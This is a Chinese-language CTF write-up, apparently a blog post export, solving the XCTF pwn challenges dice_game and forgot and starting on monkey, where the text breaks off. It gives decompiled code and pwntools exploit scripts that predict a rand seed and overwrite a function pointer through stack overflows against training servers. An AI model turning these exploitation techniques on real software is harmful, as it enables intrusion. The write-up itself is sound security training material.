{"id":351,"date":"2024-02-04T00:26:31","date_gmt":"2024-02-03T16:26:31","guid":{"rendered":"http:\/\/162.14.82.114\/?p=351"},"modified":"2024-02-04T00:26:31","modified_gmt":"2024-02-03T16:26:31","slug":"%e6%94%bb%e9%98%b2%e4%b8%96%e7%95%8c%e8%bf%9b%e9%98%b6%e4%b8%93%e5%8c%ba-pwn110","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/351\/02\/04\/2024\/","title":{"rendered":"\u653b\u9632\u4e16\u754c\u8fdb\u9636\u4e13\u533a\u2014\u2014PWN(1~10)"},"content":{"rendered":"<h1>\u653b\u9632\u4e16\u754c\u8fdb\u9636\u4e13\u533a\u2014\u2014PWN(1~10)<\/h1>\n<h2>dice_game<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025555.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025555.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220323161437618\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u4e0b\u8f7d\u9644\u4ef6\uff0c\u662f\u4e00\u4e2azip\u538b\u7f29\u6587\u4ef6\uff0c\u89e3\u538b\u4e00\u4e0b\uff0c\u518dchecksec\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025557.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025557.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220323165013839\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u53ea\u6709canary\u6ca1\u5f00\uff0c\u4f5c\u4e3a\u4e00\u4e2a\u5c11\u661f\u7684\u95ee\u9898\uff0c\u592a\u5413\u552c\u4eba\u4e86\uff01<\/p>\n<p>ida\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-c\">__int64 __fastcall main(__int64 a1, char **a2, char **a3)\n{\n  char buf[55]; \/\/ [rsp+0h] [rbp-50h]\n  char v5; \/\/ [rsp+37h] [rbp-19h]\n  ssize_t v6; \/\/ [rsp+38h] [rbp-18h]\n  unsigned int seed[2]; \/\/ [rsp+40h] [rbp-10h]   seed\u7684rbp\u504f\u79fb\u503c\u662f10h\uff0c\u5728\u8f93\u5165szName\u7684\u65f6\u5019\u53ef\u4ee5\u8986\u76d6\u5230seed\u7684\u503c\u3002\n  unsigned int v8; \/\/ [rsp+4Ch] [rbp-4h]\n\n  memset(buf, 0, 0x30uLL);\n  *(_QWORD *)seed = time(0LL);\n  printf(&quot;Welcome, let me know your name: &quot;, a2);\n  fflush(stdout);\n  v6 = read(0, buf, 0x50uLL);    \/\/buf\u5b58\u5728\u8f93\u5165\u70b9\uff0c\u8f93\u5165\u9650\u5236\u662f0x50\uff0cszName\u7684rbp\u504f\u79fb\u503c\u662f50h\uff0c\u521a\u597d\u76f8\u7b49\uff0c\u4e0d\u80fd\u505a\u6808\u6ea2\u51fa\u3002\n  if ( v6 &lt;= 49 )\n    buf[v6 - 1] = 0;\n  printf(&quot;Hi, %s. Let&#039;s play a game.\\n&quot;, buf);\n  fflush(stdout);\n  srand(seed[0]);\n  v8 = 1;\n  v5 = 0;\n  while ( 1 )\n  {\n    printf(&quot;Game %d\/50\\n&quot;, v8);\n    v5 = sub_A20();\n    fflush(stdout);\n    if ( v5 != 1 )\n      break;\n    if ( v8 == 50 )\n    {\n      sub_B28(buf);\n      break;\n    }\n    ++v8;\n  }\n  puts(&quot;Bye bye!&quot;);\n  return 0LL;\n}<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u51fa\u903b\u8f91\uff0c\u548c\u968f\u673a\u6570\u6709\u5173\uff0c\u65b0\u624b\u533a\u91cc\u9762\u4e5f\u6709\u4e2a\u4f2a\u968f\u673a\u6570\uff0c\u5e94\u8be5\u548c\u8fd9\u9898\u6709\u76f8\u4f3c\u4e4b\u5904\uff0c\u628a\u968f\u673a\u6570\u7684\u79cd\u5b50\u8986\u76d6\u6210\u6211\u4eec\u5b9a\u4e49\u7684\u56fa\u5b9a\u503c\u3002<\/p>\n<pre><code class=\"language-c\">srand(seed[0]);<\/code><\/pre>\n<p>\u518d\u67e5\u770b\u4e00\u4e0b\u5176\u4ed6\u7684\u51fd\u6570\uff1a<\/p>\n<pre><code class=\"language-c\">signed __int64 sub_A20()\n{\n  signed __int64 result; \/\/ rax\n  __int16 v1; \/\/ [rsp+Ch] [rbp-4h]\n  __int16 v2; \/\/ [rsp+Eh] [rbp-2h]\n\n  printf(&quot;Give me the point(1~6): &quot;);\n  fflush(stdout);\n  _isoc99_scanf(&quot;%hd&quot;, &amp;v1);\n  if ( v1 &gt; 0 &amp;&amp; v1 &lt;= 6 )\n  {\n    v2 = rand() % 6 + 1;\n    if ( v1 &lt;= 0 || v1 &gt; 6 || v2 &lt;= 0 || v2 &gt; 6 )\n      _assert_fail(&quot;(point&gt;=1 &amp;&amp; point&lt;=6) &amp;&amp; (sPoint&gt;=1 &amp;&amp; sPoint&lt;=6)&quot;, &quot;dice_game.c&quot;, 0x18u, &quot;dice_game&quot;);\n    if ( v1 == v2 )\n    {\n      puts(&quot;You win.&quot;);\n      result = 1LL;\n    }\n    else\n    {\n      puts(&quot;You lost.&quot;);\n      result = 0LL;\n    }\n  }\n  else\n  {\n    puts(&quot;Invalid value!&quot;);\n    result = 0LL;\n  }\n  return result;\n}<\/code><\/pre>\n<pre><code class=\"language-c\">int __fastcall sub_B28(__int64 a1)\n{\n  char s; \/\/ [rsp+10h] [rbp-70h]\n  FILE *stream; \/\/ [rsp+78h] [rbp-8h]\n\n  printf(&quot;Congrats %s\\n&quot;, a1);\n  stream = fopen(&quot;flag&quot;, &quot;r&quot;);\n  fgets(&amp;s, 100, stream);\n  puts(&amp;s);\n  return fflush(stdout);\n}<\/code><\/pre>\n<p>\u89c2\u5bdf\u4e0a\u8ff0\u51fd\u6570\u53ef\u4ee5\u627e\u5230\u53d1\u73b0\uff1abuf\u5b58\u5728\u8f93\u5165\u70b9\uff0c\u8f93\u5165\u9650\u5236\u662f0x50\uff0cszName\u7684rbp\u504f\u79fb\u503c\u662f50h\uff0c\u521a\u597d\u76f8\u7b49\uff0c\u4e0d\u80fd\u505a\u6808\u6ea2\u51fa\uff0c\u4f46\u662fseed\u7684rbp\u504f\u79fb\u503c\u662f10h\uff0c\u5728\u8f93\u5165szName\u7684\u65f6\u5019\u53ef\u4ee5\u8986\u76d6\u5230seed\u7684\u503c\u3002<\/p>\n<h3>EXP\uff1a<\/h3>\n<p>\u6784\u5efapayload\uff1a<\/p>\n<pre><code class=\"language-python\">#coding:utf8\nfrom pwn import *\nfrom ctypes import *\np = remote(&#039;111.200.241.244&#039;, 65518)\nlibc = cdll.LoadLibrary(&#039;\/home\/kali\/Desktop\/libc.so.6&#039;)\nlibc.srand(1)\npayload = b&#039;A&#039; * 0x40 + p64(1)\np.sendlineafter(&#039;Welcome, let me know your name: &#039;, payload)\nfor i in range(50):\n    rand_value = libc.rand() % 6 + 1\n    p.sendlineafter(&#039;Give me the point(1~6): &#039;, str(rand_value))\np.interactive()<\/code><\/pre>\n<p>\u8fd0\u884c\u5f97\u5230flag\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025558.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025558.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220323183748823\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>forgot<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025559.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220323190217172\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u6253\u5f00\u9644\u4ef6\uff0c\u67e5\u770b\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025560.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025560.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220323190545991\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u53ea\u5f00\u4e86NX\uff0c\u6ca1\u6709canary\u5c31\u610f\u5473\u7740\u53ef\u4ee5\u76f4\u63a5\u6808\u6ea2\u51fa<\/p>\n<p>IDA\u6253\u5f00\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl main()\n{\n  size_t v0; \/\/ ebx\n  char v2[32]; \/\/ [esp+10h] [ebp-74h]\n  int (*v3)(); \/\/ [esp+30h] [ebp-54h]\n  int (*v4)(); \/\/ [esp+34h] [ebp-50h]\n  int (*v5)(); \/\/ [esp+38h] [ebp-4Ch]\n  int (*v6)(); \/\/ [esp+3Ch] [ebp-48h]\n  int (*v7)(); \/\/ [esp+40h] [ebp-44h]\n  int (*v8)(); \/\/ [esp+44h] [ebp-40h]\n  int (*v9)(); \/\/ [esp+48h] [ebp-3Ch]\n  int (*v10)(); \/\/ [esp+4Ch] [ebp-38h]\n  int (*v11)(); \/\/ [esp+50h] [ebp-34h]\n  int (*v12)(); \/\/ [esp+54h] [ebp-30h]\n  char s; \/\/ [esp+58h] [ebp-2Ch]\n  int v14; \/\/ [esp+78h] [ebp-Ch]\n  size_t i; \/\/ [esp+7Ch] [ebp-8h]\n\n  v14 = 1;\n  v3 = sub_8048604;\n  v4 = sub_8048618;\n  v5 = sub_804862C;\n  v6 = sub_8048640;\n  v7 = sub_8048654;\n  v8 = sub_8048668;\n  v9 = sub_804867C;\n  v10 = sub_8048690;\n  v11 = sub_80486A4;\n  v12 = sub_80486B8;\n  puts(&quot;What is your name?&quot;);\n  printf(&quot;&gt; &quot;);\n  fflush(stdout);\n  fgets(&amp;s, 32, stdin);\n  sub_80485DD(&amp;s);\n  fflush(stdout);\n  printf(&quot;I should give you a pointer perhaps. Here: %x\\n\\n&quot;, sub_8048654);\n  fflush(stdout);\n  puts(&quot;Enter the string to be validate&quot;);\n  printf(&quot;&gt; &quot;);\n  fflush(stdout);\n  __isoc99_scanf(&quot;%s&quot;, v2);\n  for ( i = 0; ; ++i )\n  {\n    v0 = i;\n    if ( v0 &gt;= strlen(v2) )\n      break;\n    switch ( v14 )\n    {\n      case 1:\n        if ( sub_8048702(v2[i]) )\n          v14 = 2;\n        break;\n      case 2:\n        if ( v2[i] == 64 )\n          v14 = 3;\n        break;\n      case 3:\n        if ( sub_804874C(v2[i]) )\n          v14 = 4;\n        break;\n      case 4:\n        if ( v2[i] == 46 )\n          v14 = 5;\n        break;\n      case 5:\n        if ( sub_8048784(v2[i]) )\n          v14 = 6;\n        break;\n      case 6:\n        if ( sub_8048784(v2[i]) )\n          v14 = 7;\n        break;\n      case 7:\n        if ( sub_8048784(v2[i]) )\n          v14 = 8;\n        break;\n      case 8:\n        if ( sub_8048784(v2[i]) )\n          v14 = 9;\n        break;\n      case 9:\n        v14 = 10;\n        break;\n      default:\n        continue;\n    }\n  }\n  (*(&amp;v3 + --v14))();\n  return fflush(stdout);\n}<\/code><\/pre>\n<p>\u53ef\u4ee5\u53d1\u73b0\u6709\u4e24\u5904\u6ea2\u51fa\u70b9\uff0c\u4f46\u662f\u7b2c\u4e00\u5904\u6ca1\u6709\u4ec0\u4e48\u4ef7\u503c\uff0c\u7b2c\u4e8c\u5904\u6ea2\u51fa\u70b9\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025561.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025561.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220323194704345\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u6ca1\u6709\u9650\u5236v2\u7684\u8f93\u5165\uff0c\u53ef\u4ee5\u8ba9v2\u6ea2\u51fa\uff0cmain\u51fd\u6570<code>(\\*(&amp;v3 + \u2013v14))()*<\/code>\u610f\u601d\u662f\u8c03\u7528 <code>\u6307\u9488(v3 + (v14 - 1))<\/code>\u6240\u6307\u5411\u7684\u51fd\u6570\uff0c\u5982\u679cv14\u7b49\u4e8e1\uff0c\u90a3\u4e48\u8fd9\u53e5\u8bdd\u8c03\u7528\u7684\u5c31\u662fv3\u539f\u672c\u6307\u5411\u7684\u51fd\u6570\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025562.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025562.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220323195603631\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u800c\u4e14\u7b2c\u4e8c\u4e2a\u8f93\u5165\u70b9\u6709\u9650\u5236\u6761\u4ef6\uff1a<\/p>\n<pre><code class=\"language-c\">_BOOL4 __cdecl sub_8048702(char a1)\n{\n  return a1 &gt; 96 &amp;&amp; a1 &lt;= 122 || a1 &gt; 47 &amp;&amp; a1 &lt;= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;\n}<\/code><\/pre>\n<p>\u67e5\u770b\u4e00\u4e0b\u5b57\u7b26\u4e32\u7a97\u53e3\uff0c\u53ef\u4ee5\u770b\u5230\u51e0\u4e2a\u6709\u610f\u601d\u7684\u70b9\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025563.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025563.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220323192147729\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u8ffd\u8e2a\u4e00\u4e0bsystem\uff0c\u67e5\u770b\u4e00\u4e0b\u5f15\u7528\uff0c\u627e\u5230\uff1a<\/p>\n<pre><code class=\"language-c\">int sub_80486CC()\n{\n  char s; \/\/ [esp+1Eh] [ebp-3Ah]\n  snprintf(&amp;s, 0x32u, &quot;cat %s&quot;, &quot;.\/flag&quot;);\n  return system(&amp;s);\n}<\/code><\/pre>\n<h3>\u601d\u8def\uff1a<\/h3>\n<ul>\n<li>\u7b2c\u4e00\u4e2a\u8f93\u5165\u70b9\u968f\u4fbf\u8f93\u5165<\/li>\n<li>\u7b2c\u4e8c\u4e2a\u8f93\u5165\u8ba9v2\u6ea2\u51fa\uff0c\u5e76\u4e14\u6bcf\u4f4d\u5fc5\u987b\u4e0d\u7b26\u5408\u6761\u4ef6\uff0c\u4f7fv14\u7684\u503c\u4e00\u76f4\u662f1<\/li>\n<li>\u6ea2\u51fa\u8986\u76d6v3\u6307\u5411\u7684\u5730\u5740\uff0c\u6539\u62100x80486CC<\/li>\n<li>\u62ff\u5230flag<\/li>\n<\/ul>\n<h3>EXP\uff1a<\/h3>\n<pre><code class=\"language-python\">from pwn import *\npayload = b&#039;A&#039;*32 + p32(0x80486CC)    #v2\u5230v3\u95f4\u8ddd(0x74-0x54)\u537332\np = remote(&#039;111.200.241.244&#039;,63994)\np.sendlineafter(&#039;&gt; &#039;,&#039;abcd&#039;)\np.sendlineafter(&#039;&gt; &#039;,payload)\np.interactive()<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025564.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025564.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220323200300678\" \/><\/div><\/p>\n<p>\u200b   <\/p>\n<h2>monkey<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025566.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025566.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324200638991\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u4e0b\u8f7d\u9644\u4ef6\uff0c\u89e3\u538b\uff0c\u67e5\u770b\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025567.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025567.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324201209467\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6253\u5f00IDA\u770b\u4e00\u4e0b\uff0c\u5934\u77ac\u95f4\u5c31\u5927\u8d77\u6765\u4e86\uff0c\u6587\u4ef6\u8d85\u7ea7\u591a\uff0c\u5934\u5f88\u5927\uff0c\u6253\u5f00main\u51fd\u6570\u4e5f\u53d7\u4e0d\u4e86\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025568.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025568.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324202133051\" \/><\/div><\/p>\n<p>\u8fd0\u884c\u4e00\u4e0b\u8bd5\u8bd5\u5427\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025569.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025569.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324202340817\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u8fd4\u56de\u7684\u4e1c\u897f\u6ca1\u6709\u88ab\u5b9a\u4e49\uff0c\u5c1d\u8bd5\u8f93\u5165\u4e00\u4e0b\u547d\u4ee4\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025570.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025570.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324202712061\" style=\"zoom: 38%;\" \/><\/div><\/p>\n<p>help\u6709\u53cd\u5e94\uff0c\u5176\u4ed6\u7684\u4e5f\u5c1d\u8bd5\u8fc7\u4f46\u662f\u6ca1\u5565\u53cd\u9988\uff0c\u67e5\u770b\u4e00\u4e0b\u5b57\u7b26\u4e32\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025571.png'><img class=\"lazyload lazyload-style-2\" 